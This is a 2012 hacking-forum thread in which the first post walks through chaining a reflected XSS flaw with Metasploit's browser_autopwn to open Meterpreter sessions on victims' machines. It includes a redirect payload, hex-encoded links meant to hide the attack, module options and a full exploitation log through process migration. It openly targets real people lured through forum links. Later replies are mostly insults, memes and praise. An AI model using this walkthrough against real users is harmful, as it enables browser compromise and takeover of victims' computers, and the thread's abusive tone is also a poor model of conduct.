

Forum: [Hack Forums](#)

Thread: [Non-persistent XSS 2 shell \(Using MSF and other assorted goodies\)](#)

supracontra - March 31, 2012, 9:41 pm

Now, for those of you who want to be spoonfed methods of owning bitches through XSS, fuck off out of my thread. I will be deliberately obfuscating parts of the process. If you're not prepared to do a bit of research and or learning then don't bother reading on.

So a lot of people I've seen posting non-persistent XSS'es, the majority just following some shitty tutorial and thinking they're elite as fuck. This is one attack vector which can be extremely effective depending on the situation.

I'm going to cover the following:

- The basics of non-persistent XSS
- The basics of metasploit
- Browser exploitation using MSF (AutoPwn)

-- Non Persistent XSS --

Now as you all (should) know, non-persistent XSS'es to be effective as anything more than a screenshot to show off on HF require some form of client / victim / target interaction.

Let's say for example we have a vulnerable site..

Code `www.search.com/search.php?res=MALICIOUS DATA HERE`
We can very easily do a simple redirect..

Code `document.location='http://www.some-other-webpage.com';`
Or for something even more tricky, include a hidden iframe.

Our attack vector will take advantage of the human element, the idea that someone will be happy to click a link which looks like this...

Code `www.fbi.gov/search?s=%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74`
I mean fuck, a lot of the time now you don't even see links before you click them. [Just like this one...](#)

How many ree ree's on some random forum would click that shit if they thought they were going to see some dude jerking his dick with barbed wire or some other seemingly fucked up shit? For those of you not familiar, that's hex encoding. Go read up.

-- MSF Basics --

Now the best way to explain it is to rip the explanation off another website.

Quote: The Metasploit Project is an open-source, computer security project which provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

It's most well-known sub-project is the Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive, and security research.

The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework.

And let's be honest, it's fucking awesome. It is going to be our attack platform, our alpha and omega so get very familiar with it.

Install it, play with it, set up some virtual machines and rip them to pieces with your newly found best friend.

Some links:

<http://www.backtrack-linux.org/>

<http://www.metasploit.com/>

<http://www.damnvulnerablelinux.org/>

Install that shit, fire it up. DO NOT USE ARMITAGE, whilst it's a very handy tool unless you can use MSF from the CLI you're a fucking failure and will never realise it's full potential.

-- Browser Exploitation --

So by now you should have worked out your target audience, found a nice site with a nice GET XSS vuln, what's next? Oh yes, let's fucking pwn someone.

Fire up MSF, there's a very handy module included which will accomplish the task. This module is browser_autopwn.

It will automatically find and set up a whole host of browser exploits to be launched, enumerate each new connection and fire the most efficient xpl at the connecting browser.

Code auxiliary/server/browser_autopwn

Code msf auxiliary(browser_autopwn) > show options

Module options (auxiliary/server/browser_autopwn):

Name	Current Setting	Required	Description
----	-----	-----	-----
LHOST		yes	The IP address to use for reverse-connect payloads
SRVHOST	0.0.0.0	yes	The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
SSLVersion	SSL3	no	Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH		no	The URI to use for this exploit (default is random)

msf auxiliary(browser_autopwn) >

Set the required options and run that shit, you'll end up seeing something very similar to this:

Code [*] --- Done, found 26 exploit modules

[*] Using URL: http://192.168.1.65:80/gr94Od7VpXm1By

[*] Server started.

We now have a URL which when visited will attempt to intelligently pwn the visitor. Neat huh?

Now all we need to do is obfuscate it a little, throw it in an XSS and spread using our preferred method. I most enjoy hiding it behind a tinyurl and including it in an iframe.

Then we wait for our intended target to click that shit..

Code msf auxiliary(browser_autopwn) >

[*] 192.168.1.87 Browser Autopwn request '/gr94Od7VpXm1By'

[*] 192.168.1.87 Browser Autopwn request

'/gr94Od7VpXm1By?sessid=TWljcm9zb2Z0IFdpbmRvd3M6Nzpz1bmRIZmluZWQ6ZW4tZ2I6eDg2Ok1TSUU6OC4wOg%3d%3d'

[*] 192.168.1.87 JavaScript Report: Microsoft Windows:7:undefined:en-gb:x86:MSIE:8.0:

[*] Responding with exploits

[*] 192.168.1.87:49188 Received request for "/YVoliT"

[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import redirect

[*] 192.168.1.87:49188 Received request for "/YVoliT/lukIPJ.html"

[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import HTML

[*] 192.168.1.87:49188 Received request for "/YVoliT/generic-1333255156.dll"

[*] 192.168.1.87:49188 Sending windows/browser/ms11_003_ie_css_import .NET DLL

[*] 192.168.1.87:49196 Received request for

"/YVoliT/xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A\xEE\x80\xA0\xE1\x81\x9A"

[*] 192.168.1.87:49196 Sending windows/browser/ms11_003_ie_css_import CSS

[*] Sending stage (752128 bytes) to 192.168.1.87

[*] Meterpreter session 1 opened (192.168.1.65:3333 -> 192.168.1.87:49199) at 2012-04-01 05:39:21 +0100

[*] Session ID 1 (192.168.1.65:3333 -> 192.168.1.87:49199) processing InitialAutoRunScript 'migrate -f'

[*] Current server process: iexplore.exe (2328)

[*] Spawning notepad.exe process to migrate to

[+] Migrating to 2932

[+] Successfully migrated to process

Viola. You now have a meterpreter session on the remote machine.

Enjoy.

Intelligent questions are welcomed, if you do not google it before answering I will verbally tear you a new asshole.

gatopardos - March 31, 2012, 11:09 pm

and you now think you are very 1337 for sharing this?

Th3PonyWizard - April 1, 2012, 12:58 am

Your way of writing is annoying as shit, but is tolerable since the tutorial might be helpful to someone.

The Ion - April 1, 2012, 1:20 am

good thank you for tutorial and tip leave anyone rage you skids rage all time

supracontra - April 1, 2012, 2:31 am

(Mar 31, 2012 11:09 PM)gatopardos Wrote: [\[CITE\]](#) and you now think you are very 1337 for sharing this?

Yeah absolutely, because I got so in depth talking about breaking cross domain policies in the case of CSRF or anything else which requires any sort of knowledge.

That was sarcasm, if I posted that and felt "1337" I'd be just as much of a failure as you with your "how2sqli2perl". Enjoy.

(Apr 1, 2012 12:58 AM)Th3PonyWizard Wrote: [\[CITE\]](#) Your way of writing is annoying as shit, but is tolerable since the tutorial might be helpful to someone.

My way of writing... English with semi-proper grammar?

(Apr 1, 2012 01:20 AM)Desert Fox Wrote: [\[CITE\]](#) good thank you for tutorial and tip leave anyone rage you skids rage all time

It's not a tutorial however you're very welcome.

Th3PonyWizard - April 1, 2012, 3:10 am

(Apr 1, 2012 02:31 AM)supracontra Wrote: [\[CITE\]](#) My way of writing... English with semi-proper grammar?>fuck off out of my thread.

>the majority just following some shitty tutorial and thinking they're elite as fuck.

>Now as you all (should) know

>if you do not google it before answering I will verbally tear you a new asshole.

Seems like you are doing such a huge favor by posting...err...whatever that is, that's my opinion at least. Overall, it's nice.

supracontra - April 1, 2012, 3:20 am

(Apr 1, 2012 03:10 AM)Th3PonyWizard Wrote: [\[CITE\]](#) >fuck off out of my thread.

>the majority just following some shitty tutorial and thinking they're elite as fuck.

>Now as you all (should) know

>if you do not google it before answering I will verbally tear you a new asshole.

Seems like you are doing such a huge favor by posting...err...whatever that is, that's my opinion at least. Overall, it's nice.

Not a favour, a service to the community and society as a whole. Let's be honest, this isn't covered over 9000 times like all the "HOW 2 SQLi" or "XSS FROM BEGINNER TO FAGGOT" etc etc and I'd like to think by reading this maybe one or two people may actually pick up something new and start fucking around with it and end up learning something. That's the only way it wouldn't have been a complete waste of time.

And to address each of your concerns individually.

>fuck off out of my thread.

Yes, if you're not prepared to think for yourself you've no business on a forum supposedly geared towards catering for people who want to learn how to "hack".

>the majority just following some shitty tutorial and thinking they're elite as fuck.

Am I wrong? Like, I'm seeing fucking hundreds of sites SQLi'd on the regular and 99% of those people can't work out how to get a shell on the box? Surely if you'd learnt PHP + *SQL from the ground up it would be second nature?

>Now as you all (should) know

How I'd love there to be some sort of fucktard test before you were allowed to post in the web hacking section. Basic XSS attacks are common knowledge, require next to no skill to exploit (just some creativity) therefore there's absolutely no reason anybody who wants to post here shouldn't know them inside out.

>if you do not google it before answering I will verbally tear you a new asshole.

Again, I will not tolerate people who can't even be fucking bothered to try find an answer to their questions before they ask them.

gatopardos - April 1, 2012, 8:33 am

I'm not really a hacker.. the way you mean it, I don't share information or anything else that could be misused with a bad intention.. that's why you see this tut about mssql I wanted to see what this forum is about but I'm greatly dissapointed.., the people that know some stuff around here are few and you're not one of them, I can't point out enough that this whole thread is a waste of time , ironically another guy today did share a dangerous infection method

<https://hackforums.net/showthread.php?tid=2351555> , that's why persistent xss can also lead to command execution and escalation of privileges that means we should sanitize our web forums so skids like you can't copy such tutorials and use them in a bad way.

supracontra - April 1, 2012, 8:43 am

(Apr 1, 2012 08:33 AM)gatopardos Wrote: [\[CITE\]](#) I'm not really a hacker.. the way you mean it, I don't share information or anything else that could be misused with a bad intention.. that's why you see this tut about mssql I wanted to see what this forum is about but I'm greatly dissapointed.., the people that know some stuff around here are few and you're not one of them, I can't point out enough that this whole thread is a waste of time , ironically another guy today did share a dangerous infection method <https://hackforums.net/showthread.php?tid=2351555> , that's why persistent xss can also lead to command execution and escalation of privileges that means we should sanitize our web forums so skids like you can't copy such tutorials and use them in a bad way.

Unluckily for you, this is a very common attack vector which can be leveraged. If you'd bothered to read into MSF or the browser_autopwn I mentioned you'd see that's exactly what I was describing. I guess you either didn't bother to read my entire post OR didn't understand it and decided to shit talk it anyway.

Good luck with your SQLi tutorials, I'm sure there are armies of 12 year old children just lining up to be the next Kevin Mitnick.

gatopardos - April 1, 2012, 8:52 am

[img]<http://thesecurityhole.files.wordpress.com/2011/02/lolcat.jpg>[/img]

yaya ok whatever have fun :)

supracontra - April 1, 2012, 8:57 am

[img]<http://cdn.memegenerator.net/instances/400x/9480016.jpg>[/img]

lol

gatopardos - April 1, 2012, 9:02 am

I Haz...

[img]<http://icanhascheezburger.files.wordpress.com/2008/10/funny-pictures-furwall-prevents-unauth>

orized-access.jpg[/img]

VipVince - April 1, 2012, 10:39 am

Nice thread OP. These guys posting memes should be reported. Exactly what HF does not need.

MaX0xf - April 1, 2012, 12:55 pm

Thank you OP.

Unlike others, I like the way you are speaking. At least (I hope) this will keep away noobs that really think they can scan a site with Havij to find SQLi & XSS vulns.

Good job.

supracontra - April 2, 2012, 4:36 am

(Apr 1, 2012 12:55 PM)MaX0xf Wrote: [\[CITE\]](#) Thank you OP.

Unlike others, I like the way you are speaking. At least (I hope) this will keep away noobs that really think they can scan a site with Havij to find SQLi & XSS vulns.

Good job.

Thats the idea, I've the utmost respect and time for somebody who's interested in learning and as I said, all intelligent questions are welcomed.

I refuse however to lay out a point and click guide (especially as this is such an effective method). No doubt at some point when the nabs figure it out we'll be seeing a load of them but for now it's relatively confined to people with the acumen to at least do a google search and spend an hour or so learning.

Thanks.